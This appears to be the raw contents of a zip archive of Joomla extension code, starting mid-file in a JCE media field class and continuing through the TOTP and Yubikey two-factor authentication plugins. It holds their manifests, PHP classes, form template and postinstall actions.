            $allowable = array('jpg,jpeg,png,apng,gif,webp', 'mp3,m4a,mp4a,ogg', 'mp4,mp4v,mpeg,mov,webm', 'doc,docx,odg,odp,ods,odt,pdf,ppt,pptx,txt,xcf,xls,xlsx,csv', 'zip,tar,gz');

            if (!empty($options['accept'])) {
                $accept = explode(',', $options['accept']);

                array_walk($allowable, function (&$item) use ($accept) {
                    $items = explode(',', $item);

                    $values = array_intersect($items, $accept);
                    $item   = empty($values) ? '' : implode(',', $values);
                });
            }

            $mediaMap = array('images', 'audio', 'video', 'documents', 'media', 'files');

            // find mediatype value if passed in values is an extension list, eg: pdf,docx
            if (!in_array($this->mediatype, $mediaMap)) {
                $accept = explode(',', $this->mediatype);

                $mediatypes = array();

                array_walk($allowable, function (&$item, $key) use ($accept, $mediaMap, &$mediatypes) {
                    $items  = explode(',', $item);
                    $values = array_intersect($items, $accept);

                    if (!empty($values)) {
                        $mediatypes[] = $mediaMap[$key];
                        $item = implode(',', $values);
                    }
                });

                if (count($mediatypes) == 2 && $mediatypes[0] == 'audio' && $mediatypes[1] == 'video') {
                    $this->mediatype = 'media';
                } else if (count($mediatypes) > 1) {
                    $this->mediatype = 'files';
                }
            }

            $mediaType = [0, 1, 2, 3];

            switch ($this->mediatype) {
                case 'images':
                    $mediaType = [0];
                    $mediaData['imagesAllowedExt'] = $allowable[0];
                    break;
                case 'audio':
                    $mediaType = [1];
                    $mediaData['audiosAllowedExt'] = $allowable[1];
                    break;
                case 'video':
                    $mediaType = [2];
                    $mediaData['videosAllowedExt'] = $allowable[2];
                    break;
                case 'media':
                    $mediaType = [1, 2];
                    $mediaData['audiosAllowedExt'] = $allowable[1];
                    $mediaData['videosAllowedExt'] = $allowable[2];
                    break;
                case 'documents':
                    $mediaType = [3];
                    $mediaData['documentsAllowedExt'] = $allowable[3];
                    break;
                case 'files':
                    $mediaType = [0, 1, 2, 3];

                    $mediaData = array(
                        'imagesAllowedExt'    => $allowable[0],
                        'audiosAllowedExt'    => $allowable[1],
                        'videosAllowedExt'    => $allowable[2],
                        'documentsAllowedExt' => $allowable[3]
                    );

                    break;
            }

            $mediaData['mediaTypes'] = implode(',', $mediaType);

            $extraData = array_merge($extraData, $mediaData);
        }

        return array_merge($data, $extraData);
    }

    /**
     * Method to post-process a field value.
     * Remove Joomla 4.2 Media Field parameters
     *
     * @param   mixed     $value  The optional value to use as the default for the field.
     * @param   string    $group  The optional dot-separated form group path on which to find the field.
     * @param   Registry  $input  An optional Registry object with the entire data set to filter
     *                            against the entire form.
     *
     * @return  mixed   The processed value.
     *
     * @since   2.9.31
     */
    public function postProcess($value, $group = null, Registry $input = null)
    {        
        if ((bool) $this->element['converted'] === false) {
            $value = MediaHelper::getCleanMediaFieldValue($value);
        }

        return $value;
    }
}PK�(]����#fields/mediajce/fields/mediajce.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset name="extendedmedia" label="">
		<field name="media_src" type="mediajce" label="PLG_FIELDS_MEDIAJCE_MEDIA_FILE_LABEL" />

		<field name="media_text" type="text" label="PLG_FIELDS_MEDIAJCE_MEDIA_TEXT_LABEL" />
		<field name="media_width" type="text" label="PLG_FIELDS_MEDIAJCE_MEDIA_WIDTH_LABEL" size="20" />
		<field name="media_height" type="text" label="PLG_FIELDS_MEDIAJCE_MEDIA_HEIGHT_LABEL" />

		<field name="media_type" type="list" label="PLG_FIELDS_MEDIAJCE_MEDIA_TYPE_LABEL">
			<option value="embed">Embed</option>
			<option value="link">Link</option>
		</field>

		<field name="media_caption" type="text" label="PLG_FIELDS_MEDIAJCE_MEDIA_CAPTION_LABEL" showon="media_type:embed" />

		<field name="media_target" type="list" default="" label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_LABEL" description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_DESC" showon="media_type:link">
			<option value=""></option>
			<option value="_blank">PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_BLANK</option>
			<option value="_self">PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_SELF</option>
			<option value="_parent">PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_PARENT</option>
			<option value="_top">PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_TOP</option>
			<option value="download">PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_DOWNLOAD</option>
		</field>
	</fieldset>
</form>PK�(]�&��$$(fields/mediajce/fields/extendedmedia.phpnu�[���<?php
/**
 * @package     JCE
 * @subpackage  Fields.MediaJce
 *
 * @copyright   Copyright (C) 2005 - 2023 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (C) 2020 - 2023 Ryan Demmer. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\Form\Field;

// phpcs:disable PSR1.Files.SideEffects
\defined('JPATH_PLATFORM') or die;
// phpcs:enable PSR1.Files.SideEffects

use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\Registry\Registry;

/**
 * Extended the JCE Media Field with additional options
 *
 * @since  2.9.31
 */
class ExtendedMediaField extends FormField
{
    /**
     * The form field type.
     *
     * @var    string
     * @since  2.9.31
     */
    protected $type = 'ExtendedMedia';

    /**
     * Layout to render the form
     * @var  string
     */
    protected $layout = 'joomla.form.field.subform.default';

    /**
     * Method to attach a Form object to the field.
     *
     * @param   \SimpleXMLElement  $element  The SimpleXMLElement object representing the <field /> tag for the form field object.
     * @param   mixed              $value    The form field value to validate.
     * @param   string             $group    The field name group control value.
     *
     * @return  boolean  True on success.
     *
     * @since   2.9.31
     */
    public function setup(\SimpleXMLElement $element, $value, $group = null)
    {
        // convert array value to object
        $value = is_array($value) ? (object) $value : $value;

        // decode value if it is a string
        if (is_string($value)) {
            json_decode($value);

            // Check if value is a valid JSON string.
            if ($value !== '' && json_last_error() !== JSON_ERROR_NONE) {

                // check for valid file which indicates value string
                if (is_file(JPATH_ROOT . '/' . $value)) {
                    $value = '{"media_src":"' . $value . '","media_text":""}';
                } else {
                    $value = '';
                }
            }
        } elseif (
            !is_object($value)
            || !property_exists($value, 'media_src')
            || !property_exists($value, 'media_text')
        ) {
            return false;
        }

        if (!parent::setup($element, $value, $group)) {
            return false;
        }

        return true;
    }

    /**
     * Method to get the field input markup.
     *
     * @return  string  The field input markup.
     *
     * @since   2.7
     */
    protected function getInput()
    {
        $xml = file_get_contents(__DIR__ . '/mediajce.xml');

        $formname   = 'subform.' . str_replace(array('jform[', '[', ']'), array('', '.', ''), $this->name);
        $subForm     = Form::getInstance($formname, $xml, array('control' => $this->name));

        if (is_string($this->value)) {
            $this->value = json_decode($this->value);
        }

        // add data
        $subForm->bind($this->value);

        $exclude = array('name', 'type', 'label', 'description');

        foreach ($this->element->attributes() as $key => $value) {
            if (in_array($key, $exclude)) {
                continue;
            }

            $subForm->setFieldAttribute('media_src', $key, (string) $value);
        }

        $data = $this->getLayoutData();

        $data['forms'] = array($subForm);

        // Prepare renderer
        $renderer = $this->getRenderer($this->layout);

        // Render
        $html = $renderer->render($data);

        return $html;
    }

    /**
     * Method to post-process a field value.
     *
     * @param   mixed     $value  The optional value to use as the default for the field.
     * @param   string    $group  The optional dot-separated form group path on which to find the field.
     * @param   Registry  $input  An optional Registry object with the entire data set to filter
     *                            against the entire form.
     *
     * @return  mixed   The processed value.
     *
     * @since   2.9.31
     */
    public function postProcess($value, $group = null, Registry $input = null)
    {        
        $media = array('img', 'video', 'audio', 'iframe', 'a');
        
        $value->media_supported = array_filter($media, function ($tag) {
			$html = '<' . $tag . '></' . $tag . '>';
            
            if ($tag == 'img') {
				$html = '<' . $tag . '/>';
			}

            $html = ComponentHelper::filterText($html);

			return !empty($html);
 		});

        return $value;
    }
}
PK�(]�E�\ootwofactorauth/totp/totp.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="twofactorauth" method="upgrade">
	<name>plg_twofactorauth_totp</name>
	<author>Joomla! Project</author>
	<creationDate>August 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.2.0</version>
	<description>PLG_TWOFACTORAUTH_TOTP_XML_DESCRIPTION</description>
	<files>
		<filename plugin="totp">totp.php</filename>
		<folder>postinstall</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_twofactorauth_totp.ini</language>
		<language tag="en-GB">en-GB.plg_twofactorauth_totp.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="section"
					type="radio"
					label="PLG_TWOFACTORAUTH_TOTP_SECTION_LABEL"
					description="PLG_TWOFACTORAUTH_TOTP_SECTION_DESC"
					default="3"
					filter="integer"
					class="btn-group"
					>
					<option value="1">PLG_TWOFACTORAUTH_TOTP_SECTION_SITE</option>
					<option value="2">PLG_TWOFACTORAUTH_TOTP_SECTION_ADMIN</option>
					<option value="3">PLG_TWOFACTORAUTH_TOTP_SECTION_BOTH</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]���!!twofactorauth/totp/totp.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Twofactorauth.totp
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! Two Factor Authentication using Google Authenticator TOTP Plugin
 *
 * @since  3.2
 */
class PlgTwofactorauthTotp extends JPlugin
{
	/**
	 * Affects constructor behavior. If true, language files will be loaded automatically.
	 *
	 * @var    boolean
	 * @since  3.2
	 */
	protected $autoloadLanguage = true;

	/**
	 * Method name
	 *
	 * @var    string
	 * @since  3.2
	 */
	protected $methodName = 'totp';

	/**
	 * This method returns the identification object for this two factor
	 * authentication plugin.
	 *
	 * @return  stdClass  An object with public properties method and title
	 *
	 * @since   3.2
	 */
	public function onUserTwofactorIdentify()
	{
		$section = (int) $this->params->get('section', 3);

		$current_section = 0;

		try
		{
			$app = JFactory::getApplication();

			if ($app->isClient('administrator'))
			{
				$current_section = 2;
			}
			elseif ($app->isClient('site'))
			{
				$current_section = 1;
			}
		}
		catch (Exception $exc)
		{
			$current_section = 0;
		}

		if (!($current_section & $section))
		{
			return false;
		}

		return (object) array(
			'method' => $this->methodName,
			'title'  => JText::_('PLG_TWOFACTORAUTH_TOTP_METHOD_TITLE')
		);
	}

	/**
	 * Shows the configuration page for this two factor authentication method.
	 *
	 * @param   object   $otpConfig  The two factor auth configuration object
	 * @param   integer  $userId     The numeric user ID of the user whose form we'll display
	 *
	 * @return  boolean|string  False if the method is not ours, the HTML of the configuration page otherwise
	 *
	 * @see     UsersModelUser::getOtpConfig
	 * @since   3.2
	 */
	public function onUserTwofactorShowConfiguration($otpConfig, $userId = null)
	{
		// Create a new TOTP class with Google Authenticator compatible settings
		$totp = new FOFEncryptTotp(30, 6, 10);

		if ($otpConfig->method === $this->methodName)
		{
			// This method is already activated. Reuse the same secret key.
			$secret = $otpConfig->config['code'];
		}
		else
		{
			// This methods is not activated yet. Create a new secret key.
			$secret = $totp->generateSecret();
		}

		// These are used by Google Authenticator to tell accounts apart
		$username = JFactory::getUser($userId)->username;
		$hostname = JUri::getInstance()->getHost();

		// This is the URL to the QR code for Google Authenticator
		$url = sprintf("otpauth://totp/%s@%s?secret=%s", $username, $hostname, $secret);

		// Is this a new TOTP setup? If so, we'll have to show the code validation field.
		$new_totp = $otpConfig->method !== 'totp';

		// Start output buffering
		@ob_start();

		// Include the form.php from a template override. If none is found use the default.
		$path = FOFPlatform::getInstance()->getTemplateOverridePath('plg_twofactorauth_totp', true);

		JLoader::import('joomla.filesystem.file');

		if (JFile::exists($path . '/form.php'))
		{
			include_once $path . '/form.php';
		}
		else
		{
			include_once __DIR__ . '/tmpl/form.php';
		}

		// Stop output buffering and get the form contents
		$html = @ob_get_clean();

		// Return the form contents
		return array(
			'method' => $this->methodName,
			'form'   => $html
		);
	}

	/**
	 * The save handler of the two factor configuration method's configuration
	 * page.
	 *
	 * @param   string  $method  The two factor auth method for which we'll show the config page
	 *
	 * @return  boolean|stdClass  False if the method doesn't match or we have an error, OTP config object if it succeeds
	 *
	 * @see     UsersModelUser::setOtpConfig
	 * @since   3.2
	 */
	public function onUserTwofactorApplyConfiguration($method)
	{
		if ($method !== $this->methodName)
		{
			return false;
		}

		// Get a reference to the input data object
		$input = JFactory::getApplication()->input;

		// Load raw data
		$rawData = $input->get('jform', array(), 'array');

		if (!isset($rawData['twofactor']['totp']))
		{
			return false;
		}

		$data = $rawData['twofactor']['totp'];

		// Warn if the securitycode is empty
		if (array_key_exists('securitycode', $data) && empty($data['securitycode']))
		{
			try
			{
				$app = JFactory::getApplication();
				$app->enqueueMessage(JText::_('PLG_TWOFACTORAUTH_TOTP_ERR_VALIDATIONFAILED'), 'error');
			}
			catch (Exception $exc)
			{
				// This only happens when we are in a CLI application. We cannot
				// enqueue a message, so just do nothing.
			}

			return false;
		}

		// Create a new TOTP class with Google Authenticator compatible settings
		$totp = new FOFEncryptTotp(30, 6, 10);

		// Check the security code entered by the user (exact time slot match)
		$code = $totp->getCode($data['key']);
		$check = $code === $data['securitycode'];

		/*
		 * If the check fails, test the previous 30 second slot. This allow the
		 * user to enter the security code when it's becoming red in Google
		 * Authenticator app (reaching the end of its 30 second lifetime)
		 */
		if (!$check)
		{
			$time = time() - 30;
			$code = $totp->getCode($data['key'], $time);
			$check = $code === $data['securitycode'];
		}

		/*
		 * If the check fails, test the next 30 second slot. This allows some
		 * time drift between the authentication device and the server
		 */
		if (!$check)
		{
			$time = time() + 30;
			$code = $totp->getCode($data['key'], $time);
			$check = $code === $data['securitycode'];
		}

		if (!$check)
		{
			// Check failed. Do not change two factor authentication settings.
			return false;
		}

		// Check succeeded; return an OTP configuration object
		$otpConfig = (object) array(
			'method'   => 'totp',
			'config'   => array(
				'code' => $data['key']
			),
			'otep'     => array()
		);

		return $otpConfig;
	}

	/**
	 * This method should handle any two factor authentication and report back
	 * to the subject.
	 *
	 * @param   array  $credentials  Array holding the user credentials
	 * @param   array  $options      Array of extra options
	 *
	 * @return  boolean  True if the user is authorised with this two-factor authentication method
	 *
	 * @since   3.2
	 */
	public function onUserTwofactorAuthenticate($credentials, $options)
	{
		// Get the OTP configuration object
		$otpConfig = $options['otp_config'];

		// Make sure it's an object
		if (empty($otpConfig) || !is_object($otpConfig))
		{
			return false;
		}

		// Check if we have the correct method
		if ($otpConfig->method !== $this->methodName)
		{
			return false;
		}

		// Check if there is a security code
		if (empty($credentials['secretkey']))
		{
			return false;
		}

		// Create a new TOTP class with Google Authenticator compatible settings
		$totp = new FOFEncryptTotp(30, 6, 10);

		// Check the code
		$code = $totp->getCode($otpConfig->config['code']);
		$check = $code === $credentials['secretkey'];

		/*
		 * If the check fails, test the previous 30 second slot. This allow the
		 * user to enter the security code when it's becoming red in Google
		 * Authenticator app (reaching the end of its 30 second lifetime)
		 */
		if (!$check)
		{
			$time = time() - 30;
			$code = $totp->getCode($otpConfig->config['code'], $time);
			$check = $code === $credentials['secretkey'];
		}

		/*
		 * If the check fails, test the next 30 second slot. This allows some
		 * time drift between the authentication device and the server
		 */
		if (!$check)
		{
			$time = time() + 30;
			$code = $totp->getCode($otpConfig->config['code'], $time);
			$check = $code === $credentials['secretkey'];
		}

		return $check;
	}
}
PK�(]�/�d�� twofactorauth/totp/tmpl/form.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Twofactorauth.totp.tmpl
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Factory;

HTMLHelper::_('script', 'plg_twofactorauth_totp/qrcode.min.js', array('version' => 'auto', 'relative' => true));

$js = "
(function(document)
{
	document.addEventListener('DOMContentLoaded', function()
	{
		var qr = qrcode(0, 'H');
		qr.addData('" . $url . "');
		qr.make();

		document.getElementById('totp-qrcode').innerHTML = qr.createImgTag(4);
	});
})(document);
";

Factory::getDocument()->addScriptDeclaration($js);
?>
<input type="hidden" name="jform[twofactor][totp][key]" value="<?php echo $secret ?>" />

<div class="well">
	<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_INTRO') ?>
</div>

<fieldset>
	<legend>
		<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP1_HEAD') ?>
	</legend>
	<p>
		<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP1_TEXT') ?>
	</p>
	<ul>
		<li>
			<a href="<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP1_ITEM1_LINK') ?>" target="_blank" rel="noopener noreferrer">
				<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP1_ITEM1') ?>
			</a>
		</li>
		<li>
			<a href="<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP1_ITEM2_LINK') ?>" target="_blank" rel="noopener noreferrer">
				<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP1_ITEM2') ?>
			</a>
		</li>
	</ul>
	<div class="alert">
		<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP1_WARN') ?>
	</div>
</fieldset>

<fieldset>
	<legend>
		<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP2_HEAD') ?>
	</legend>

	<div class="span6">
		<p>
			<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP2_TEXT') ?>
		</p>
		<table class="table table-striped">
			<tr>
				<td>
					<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP2_ACCOUNT') ?>
				</td>
				<td>
					<?php echo $username ?>@<?php echo $hostname ?>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP2_KEY') ?>
				</td>
				<td>
					<?php echo $secret ?>
				</td>
			</tr>
		</table>
	</div>

	<div class="span6">
		<p>
			<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP2_ALTTEXT') ?>
			<br />
			<div id="totp-qrcode"></div>
		</p>
	</div>

	<div class="clearfix"></div>

	<div class="alert alert-info">
		<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP2_RESET') ?>
	</div>
</fieldset>

<?php if ($new_totp): ?>
<fieldset>
	<legend>
		<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP3_HEAD') ?>
	</legend>
	<p>
		<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP3_TEXT') ?>
	</p>
	<div class="control-group">
		<label class="control-label" for="totpsecuritycode">
			<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP3_SECURITYCODE') ?>
		</label>
		<div class="controls">
			<input type="text" class="input-small" name="jform[twofactor][totp][securitycode]" id="totpsecuritycode" autocomplete="0">
		</div>
	</div>
</fieldset>
<?php endif; ?>
PK�(]�^*UU*twofactorauth/totp/postinstall/actions.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Twofactorauth.totp
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 *
 * This file contains the functions used by the com_postinstall code to deliver
 * the necessary post-installation messages concerning the activation of the
 * two-factor authentication code.
 */

/**
 * Checks if the plugin is enabled. If not it returns true, meaning that the
 * message concerning two factor authentication should be displayed.
 *
 * @return  integer
 *
 * @since   3.2
 */
function twofactorauth_postinstall_condition()
{
	$db = JFactory::getDbo();

	$query = $db->getQuery(true)
		->select('*')
		->from($db->qn('#__extensions'))
		->where($db->qn('type') . ' = ' . $db->q('plugin'))
		->where($db->qn('enabled') . ' = 1')
		->where($db->qn('folder') . ' = ' . $db->q('twofactorauth'));
	$db->setQuery($query);
	$enabled_plugins = $db->loadObjectList();

	return count($enabled_plugins) === 0;
}

/**
 * Enables the two factor authentication plugin and redirects the user to their
 * user profile page so that they can enable two factor authentication on their
 * account.
 *
 * @return  void
 *
 * @since   3.2
 */
function twofactorauth_postinstall_action()
{
	// Enable the plugin
	$db = JFactory::getDbo();

	$query = $db->getQuery(true)
		->update($db->qn('#__extensions'))
		->set($db->qn('enabled') . ' = 1')
		->where($db->qn('type') . ' = ' . $db->q('plugin'))
		->where($db->qn('folder') . ' = ' . $db->q('twofactorauth'));
	$db->setQuery($query);
	$db->execute();

	// Clean cache.
	JFactory::getCache()->clean('com_plugins');

	// Redirect the user to their profile editor page
	$url = 'index.php?option=com_users&task=user.edit&id=' . JFactory::getUser()->id;
	JFactory::getApplication()->redirect($url);
}
PK�(]�Stt!twofactorauth/yubikey/yubikey.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="twofactorauth" method="upgrade">
	<name>plg_twofactorauth_yubikey</name>
	<author>Joomla! Project</author>
	<creationDate>September 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.2.0</version>
	<description>PLG_TWOFACTORAUTH_YUBIKEY_XML_DESCRIPTION</description>
	<files>
		<filename plugin="yubikey">yubikey.php</filename>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_twofactorauth_yubikey.ini</language>
		<language tag="en-GB">en-GB.plg_twofactorauth_yubikey.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="section"
					type="radio"
					label="PLG_TWOFACTORAUTH_YUBIKEY_SECTION_LABEL"
					description="PLG_TWOFACTORAUTH_YUBIKEY_SECTION_DESC"
					default="3"
					filter="integer"
					class="btn-group"
					>
					<option value="1">PLG_TWOFACTORAUTH_YUBIKEY_SECTION_SITE</option>
					<option value="2">PLG_TWOFACTORAUTH_YUBIKEY_SECTION_ADMIN</option>
					<option value="3">PLG_TWOFACTORAUTH_YUBIKEY_SECTION_BOTH</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]00cFJ!J!!twofactorauth/yubikey/yubikey.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Twofactorauth.yubikey
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! Two Factor Authentication using Yubikey Plugin
 *
 * @since  3.2
 */
class PlgTwofactorauthYubikey extends JPlugin
{
	/**
	 * Affects constructor behavior. If true, language files will be loaded automatically.
	 *
	 * @var    boolean
	 * @since  3.2
	 */
	protected $autoloadLanguage = true;

	/**
	 * Method name
	 *
	 * @var    string
	 * @since  3.2
	 */
	protected $methodName = 'yubikey';

	/**
	 * This method returns the identification object for this two factor
	 * authentication plugin.
	 *
	 * @return  stdClass  An object with public properties method and title
	 *
	 * @since   3.2
	 */
	public function onUserTwofactorIdentify()
	{
		$section         = (int) $this->params->get('section', 3);
		$current_section = 0;

		try
		{
			$app = JFactory::getApplication();

			if ($app->isClient('administrator'))
			{
				$current_section = 2;
			}
			elseif ($app->isClient('site'))
			{
				$current_section = 1;
			}
		}
		catch (Exception $exc)
		{
			$current_section = 0;
		}

		if (!($current_section & $section))
		{
			return false;
		}

		return (object) array(
			'method' => $this->methodName,
			'title'  => JText::_('PLG_TWOFACTORAUTH_YUBIKEY_METHOD_TITLE'),
		);
	}

	/**
	 * Shows the configuration page for this two factor authentication method.
	 *
	 * @param   object   $otpConfig  The two factor auth configuration object
	 * @param   integer  $userId     The numeric user ID of the user whose form we'll display
	 *
	 * @return  boolean|string  False if the method is not ours, the HTML of the configuration page otherwise
	 *
	 * @see     UsersModelUser::getOtpConfig
	 * @since   3.2
	 */
	public function onUserTwofactorShowConfiguration($otpConfig, $userId = null)
	{
		if ($otpConfig->method === $this->methodName)
		{
			// This method is already activated. Reuse the same Yubikey ID.
			$yubikey = $otpConfig->config['yubikey'];
		}
		else
		{
			// This methods is not activated yet. We'll need a Yubikey TOTP to setup this Yubikey.
			$yubikey = '';
		}

		// Is this a new TOTP setup? If so, we'll have to show the code validation field.
		$new_totp    = $otpConfig->method !== $this->methodName;

		// Start output buffering
		@ob_start();

		// Include the form.php from a template override. If none is found use the default.
		$path = FOFPlatform::getInstance()->getTemplateOverridePath('plg_twofactorauth_yubikey', true);

		JLoader::import('joomla.filesystem.file');

		if (JFile::exists($path . '/form.php'))
		{
			include_once $path . '/form.php';
		}
		else
		{
			include_once __DIR__ . '/tmpl/form.php';
		}

		// Stop output buffering and get the form contents
		$html = @ob_get_clean();

		// Return the form contents
		return array(
			'method' => $this->methodName,
			'form'   => $html,
		);
	}

	/**
	 * The save handler of the two factor configuration method's configuration
	 * page.
	 *
	 * @param   string  $method  The two factor auth method for which we'll show the config page
	 *
	 * @return  boolean|stdClass  False if the method doesn't match or we have an error, OTP config object if it succeeds
	 *
	 * @see     UsersModelUser::setOtpConfig
	 * @since   3.2
	 */
	public function onUserTwofactorApplyConfiguration($method)
	{
		if ($method !== $this->methodName)
		{
			return false;
		}

		// Get a reference to the input data object
		$input = JFactory::getApplication()->input;

		// Load raw data
		$rawData = $input->get('jform', array(), 'array');

		if (!isset($rawData['twofactor']['yubikey']))
		{
			return false;
		}

		$data = $rawData['twofactor']['yubikey'];

		// Warn if the securitycode is empty
		if (array_key_exists('securitycode', $data) && empty($data['securitycode']))
		{
			try
			{
				JFactory::getApplication()->enqueueMessage(JText::_('PLG_TWOFACTORAUTH_YUBIKEY_ERR_VALIDATIONFAILED'), 'error');
			}
			catch (Exception $exc)
			{
				// This only happens when we are in a CLI application. We cannot
				// enqueue a message, so just do nothing.
			}

			return false;
		}

		// Validate the Yubikey OTP
		$check = $this->validateYubikeyOtp($data['securitycode']);

		if (!$check)
		{
			JFactory::getApplication()->enqueueMessage(JText::_('PLG_TWOFACTORAUTH_YUBIKEY_ERR_VALIDATIONFAILED'), 'error');

			// Check failed. Do not change two factor authentication settings.
			return false;
		}

		// Remove the last 32 digits and store the rest in the user configuration parameters
		$yubikey      = substr($data['securitycode'], 0, -32);

		// Check succeeded; return an OTP configuration object
		$otpConfig    = (object) array(
			'method'  => $this->methodName,
			'config'  => array(
				'yubikey' => $yubikey
			),
			'otep'    => array()
		);

		return $otpConfig;
	}

	/**
	 * This method should handle any two factor authentication and report back
	 * to the subject.
	 *
	 * @param   array  $credentials  Array holding the user credentials
	 * @param   array  $options      Array of extra options
	 *
	 * @return  boolean  True if the user is authorised with this two-factor authentication method
	 *
	 * @since   3.2
	 */
	public function onUserTwofactorAuthenticate($credentials, $options)
	{
		// Get the OTP configuration object
		$otpConfig = $options['otp_config'];

		// Make sure it's an object
		if (empty($otpConfig) || !is_object($otpConfig))
		{
			return false;
		}

		// Check if we have the correct method
		if ($otpConfig->method !== $this->methodName)
		{
			return false;
		}

		// Check if there is a security code
		if (empty($credentials['secretkey']))
		{
			return false;
		}

		// Check if the Yubikey starts with the configured Yubikey user string
		$yubikey_valid = $otpConfig->config['yubikey'];
		$yubikey       = substr($credentials['secretkey'], 0, -32);

		$check = $yubikey === $yubikey_valid;

		if ($check)
		{
			$check = $this->validateYubikeyOtp($credentials['secretkey']);
		}

		return $check;
	}

	/**
	 * Validates a Yubikey OTP against the Yubikey servers
	 *
	 * @param   string  $otp  The OTP generated by your Yubikey
	 *
	 * @return  boolean  True if it's a valid OTP
	 *
	 * @since   3.2
	 */
	public function validateYubikeyOtp($otp)
	{
		$server_queue = array(
			'api.yubico.com',
			'api2.yubico.com',
			'api3.yubico.com',
			'api4.yubico.com',
			'api5.yubico.com',
		);

		shuffle($server_queue);

		$gotResponse = false;
		$check       = false;

		$token = JSession::getFormToken();
		$nonce = md5($token . uniqid(mt_rand()));

		while (!$gotResponse && !empty($server_queue))
		{
			$server = array_shift($server_queue);
			$uri    = new JUri('https://' . $server . '/wsapi/2.0/verify');

			// I don't see where this ID is used?
			$uri->setVar('id', 1);

			// The OTP we read from the user
			$uri->setVar('otp', $otp);

			// This prevents a REPLAYED_OTP status of the token doesn't change
			// after a user submits an invalid OTP
			$uri->setVar('nonce', $nonce);

			// Minimum service level required: 50% (at least 50% of the YubiCloud
			// servers must reply positively for the OTP to validate)
			$uri->setVar('sl', 50);

			// Timeou waiting for YubiCloud servers to reply: 5 seconds.
			$uri->setVar('timeout', 5);

			try
			{
				$http     = JHttpFactory::getHttp();
				$response = $http->get($uri->toString(), null, 6);

				if (!empty($response))
				{
					$gotResponse = true;
				}
				else
				{
					continue;
				}
			}
			catch (Exception $exc)
			{
				// No response, continue with the next server
				continue;
			}
		}

		// No server replied; we can't validate this OTP
		if (!$gotResponse)
		{
			return false;
		}

		// Parse response
		$lines = explode("\n", $response->body);
		$data  = array();

		foreach ($lines as $line)
		{
			$line  = trim($line);
			$parts = explode('=', $line, 2);

			if (count($parts) < 2)
			{
				continue;
			}

			$data[$parts[0]] = $parts[1];
		}

		// Validate the response - We need an OK message reply
		if ($data['status'] !== 'OK')
		{
			return false;
		}

		// Validate the response - We need a confidence level over 50%
		if ($data['sl'] < 50)
		{
			return false;
		}

		// Validate the response - The OTP must match
		if ($data['otp'] !== $otp)
		{
			return false;
		}

		// Validate the response - The token must match
		if ($data['nonce'] !== $nonce)
		{
			return false;
		}

		return true;
	}
}
